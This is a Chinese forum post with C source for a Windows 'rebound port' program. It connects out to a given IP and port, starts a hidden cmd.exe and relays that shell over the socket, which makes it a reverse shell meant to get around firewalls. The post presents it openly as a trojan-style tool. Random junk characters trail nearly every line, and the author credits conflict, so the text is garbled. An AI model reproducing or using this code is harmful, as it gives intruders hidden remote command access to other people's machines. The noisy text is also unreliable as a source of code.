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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [,bJKz)a  
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/* ============================== k r$)nf  
Rebound port in Windows NT UAjN  
By wind,2006/7 t{,$?}  
===============================*/ >MJ %6A>  
#include ?;=7{E j  
#include JKKp5~_~  
$%U}k=-  
#pragma comment(lib,"wsock32.lib")  7]@M  
~vP_c(8f  
void OutputShell(); \,v^v]|  
SOCKET sClient; mAH7; u<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N+V#=U y  
zt2#K  
void main(int argc,char **argv) Qc33C A  
{ A?tCa*b^  
WSADATA stWsaData;  H#F"n"~$  
int nRet; uWGp>;meO  
SOCKADDR_IN stSaiClient,stSaiServer; &tkPZ*}#1  
[1~3\-Y  
if(argc != 3) h-.^*=]R6  
{ ko.% @Y(=  
printf("Useage:\n\rRebound DestIP DestPort\n"); kW+>"3  
return; :~s"]*y  
} ;8VZsh  
~m R^j  
WSAStartup(MAKEWORD(2,2),&stWsaData); {\?f|mm q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]Y & 2&  
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stSaiClient.sin_family = AF_INET; 9[t-W:3c7  
stSaiClient.sin_port = htons(0); R||$Wi[$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MPp:EH  
;[zZI~wh  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6 y"r '  
{ wV-N\5!r%H  
printf("Bind Socket Failed!\n"); }+ W5Snx  
return; `U?S 9m  
} +vFqHfmP  
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stSaiServer.sin_family = AF_INET; KJn 3&7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 823y;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q0 PqyobD  
CE183l\  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8}z PDs  
{ :U1V 2f'l3  
printf("Connect Error!"); WUDXx %  
return; HDo=WqG  
} Kd#64NSi$A  
OutputShell(); b9f5  
} v&^N+>p  
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void OutputShell() ;r;>4+zn\  
{ Yv*i69"  
char szBuff[1024]; $YBH;^#  
SECURITY_ATTRIBUTES stSecurityAttributes; 4[0.M  
OSVERSIONINFO stOsversionInfo; a`||ePb|W~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [xs`Pi  
STARTUPINFO stStartupInfo; )P/~{Ci:T&  
char *szShell; -mZ{.\9  
PROCESS_INFORMATION stProcessInformation; u<@ 55k  
unsigned long lBytesRead; @[(%b{TE;  
|qk%UN<  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z${@;lgP  
@XF/hhGE_y  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =66,$~g{  
stSecurityAttributes.lpSecurityDescriptor = 0; @iz6)2z  
stSecurityAttributes.bInheritHandle = TRUE; v2#qs*sW8  
i];@e]   
/3vj`#jD  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); YAF0I%PYU  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7`X9s~B  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !P)7t`X  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 64!V8&Ay  
stStartupInfo.wShowWindow = SW_HIDE; E}w<-]8  
stStartupInfo.hStdInput = hReadPipe; 7w"YCRKh  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s&OwVQ<M  
X?"Ro`S  
GetVersionEx(&stOsversionInfo); CV,[x[L# {  
}Sb&ux  
switch(stOsversionInfo.dwPlatformId) "2/VDB4!FG  
{ W/R-~C e  
case 1: #^/&fdK~A  
szShell = "command.com"; @*LESN>T@t  
break; 7<ES&ls_  
default: ].w$b)G   
szShell = "cmd.exe"; z[, `  
break; z//6yr  
} 8>jd2'v{  
t\+vTvT)RE  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *SZ*S %oS3  
]+S.#x`#  
send(sClient,szMsg,77,0); :@X@8j":  
while(1) <<![3&p#  
{ C>7k|;BvF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xF{<-b  
if(lBytesRead) ]HP  
{ dkf?lmC+M  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 93y.u<,2;  
send(sClient,szBuff,lBytesRead,0); bs mnh_YRj  
} M:(k7a+[^  
else BT+ws@|[  
{ WYE[H9x1?  
lBytesRead=recv(sClient,szBuff,1024,0); MhB kr{8  
if(lBytesRead<=0) break; qx/GioPU  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); C31SXQ  
} D &wm7,  
} Hca)5$yL  
C`x>)wm:  
return; /$x6//0If  
}
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